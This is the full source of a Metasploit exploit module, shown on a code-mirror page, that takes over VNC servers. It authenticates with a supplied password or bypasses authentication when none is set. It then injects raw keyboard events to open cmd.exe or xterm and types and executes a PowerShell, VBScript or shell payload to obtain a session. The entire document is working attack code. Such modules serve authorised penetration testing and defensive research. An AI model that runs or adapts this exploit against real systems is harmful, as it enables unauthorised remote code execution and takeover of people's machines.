Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'rex/exploitation'
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = GreatRanking
9
WINDOWS_KEY = "\xff\xeb"
10
ENTER_KEY = "\xff\x0d"
11
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::CmdStager
14
include Msf::Exploit::Powershell
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'VNC Keyboard Remote Code Execution',
21
'Description' => %q{
22
This module exploits VNC servers by sending virtual keyboard keys and executing
23
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
24
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
25
and a payload is typed and executed.
26
},
27
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
28
'Privileged' => false,
29
'License' => MSF_LICENSE,
30
'Platform' => %w{win unix},
31
'Targets' => [
32
[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
33
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
34
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
35
],
36
'References' => [
37
[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']
38
],
39
'DisclosureDate' => '2015-07-10',
40
'DefaultTarget' => 0,
41
'Notes' => {
42
'Reliability' => UNKNOWN_RELIABILITY,
43
'Stability' => UNKNOWN_STABILITY,
44
'SideEffects' => UNKNOWN_SIDE_EFFECTS
45
}
46
)
47
)
48
49
register_options(
50
[
51
Opt::RPORT(5900),
52
OptString.new('PASSWORD', [ false, 'The VNC password']),
53
OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),
54
OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),
55
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
56
]
57
)
58
end
59
60
def post_auth?
61
true
62
end
63
64
def press_key(key)
65
keyboard_key = "\x04\x01" # Press key
66
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
67
keyboard_key << key # The keyboard key
68
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
69
sock.put(keyboard_key)
70
end
71
72
def release_key(key)
73
keyboard_key = "\x04\x00" # Release key
74
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
75
keyboard_key << key # The keyboard key
76
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
77
sock.put(keyboard_key)
78
end
79
80
def exec_command(command)
81
# Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer
82
delay_duration = datastore['TIME_KBD_DELAY']
83
delay_treshold = datastore['TIME_KBD_THRESHOLD']
84
delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 0
85
delay_duration = delay_duration.to_f / 1000
86
# Break down command into a sequence of keypresses
87
values = command.chars.to_a
88
values.each_with_index do |value, index|
89
press_key("\x00#{value}")
90
release_key("\x00#{value}")
91
sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 0
92
end
93
press_key(ENTER_KEY)
94
end
95
96
def start_cmd_prompt
97
print_status("#{rhost}:#{rport} - Opening Run command")
98
# Pressing and holding windows key for 1 second
99
press_key(WINDOWS_KEY)
100
Rex.select(nil, nil, nil, 1)
101
# Press the "r" key
102
press_key("\x00r")
103
# Now we can release both keys again
104
release_key("\x00r")
105
release_key(WINDOWS_KEY)
106
# Wait a second to open run command window
107
select(nil, nil, nil, 1)
108
exec_command('cmd.exe')
109
# Wait a second for cmd.exe prompt to open
110
Rex.select(nil, nil, nil, 1)
111
end
112
113
def exploit
114
begin
115
alt_key = "\xff\xe9"
116
f2_key = "\xff\xbf"
117
password = datastore['PASSWORD']
118
119
connect
120
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
121
122
unless vnc.handshake
123
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
124
end
125
126
if password.nil?
127
print_status("#{rhost}:#{rport} - Bypass authentication")
128
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
129
sock.put("\x10")
130
else
131
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
132
if vnc.authenticate(password)
133
print_status("#{rhost}:#{rport} - Authenticated")
134
else
135
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
136
end
137
end
138
139
# Send shared desktop
140
unless vnc.send_client_init
141
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
142
end
143
144
if target.name =~ /VBScript CMDStager/
145
start_cmd_prompt
146
print_status("#{rhost}:#{rport} - Typing and executing payload")
147
execute_cmdstager({ :flavor => :vbs, :linemax => 8100 })
148
# Exit the CMD prompt
149
exec_command('exit')
150
elsif target.name =~ /Powershell/
151
start_cmd_prompt
152
print_status("#{rhost}:#{rport} - Typing and executing payload")
153
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
154
# Execute powershell payload and make sure we exit our CMD prompt
155
exec_command("#{command} && exit")
156
elsif target.name =~ /Linux/
157
print_status("#{rhost}:#{rport} - Opening 'Run Application'")
158
# Press the ALT key and hold it for a second
159
press_key(alt_key)
160
Rex.select(nil, nil, nil, 1)
161
# Press F2 to start up "Run application"
162
press_key(f2_key)
163
# Release ALT + F2
164
release_key(alt_key)
165
release_key(f2_key)
166
# Wait a second for "Run application" to start
167
Rex.select(nil, nil, nil, 1)
168
# Start a xterm window
169
print_status("#{rhost}:#{rport} - Opening xterm")
170
exec_command('xterm')
171
# Wait a second for "xterm" to start
172
Rex.select(nil, nil, nil, 1)
173
# Execute our payload and exit (close) the xterm window
174
print_status("#{rhost}:#{rport} - Typing and executing payload")
175
exec_command("nohup #{payload.encoded} &")
176
exec_command('exit')
177
end
178
179
print_status("#{rhost}:#{rport} - Waiting for session...")
180
(datastore['TIME_WAIT']).times do
181
Rex.sleep(1)
182
183
# Success! session is here!
184
break if session_created?
185
end
186
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
187
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
188
ensure
189
disconnect
190
end
191
end
192
193
def execute_command(cmd, opts = {})
194
exec_command(cmd)
195
end
196
end
197
198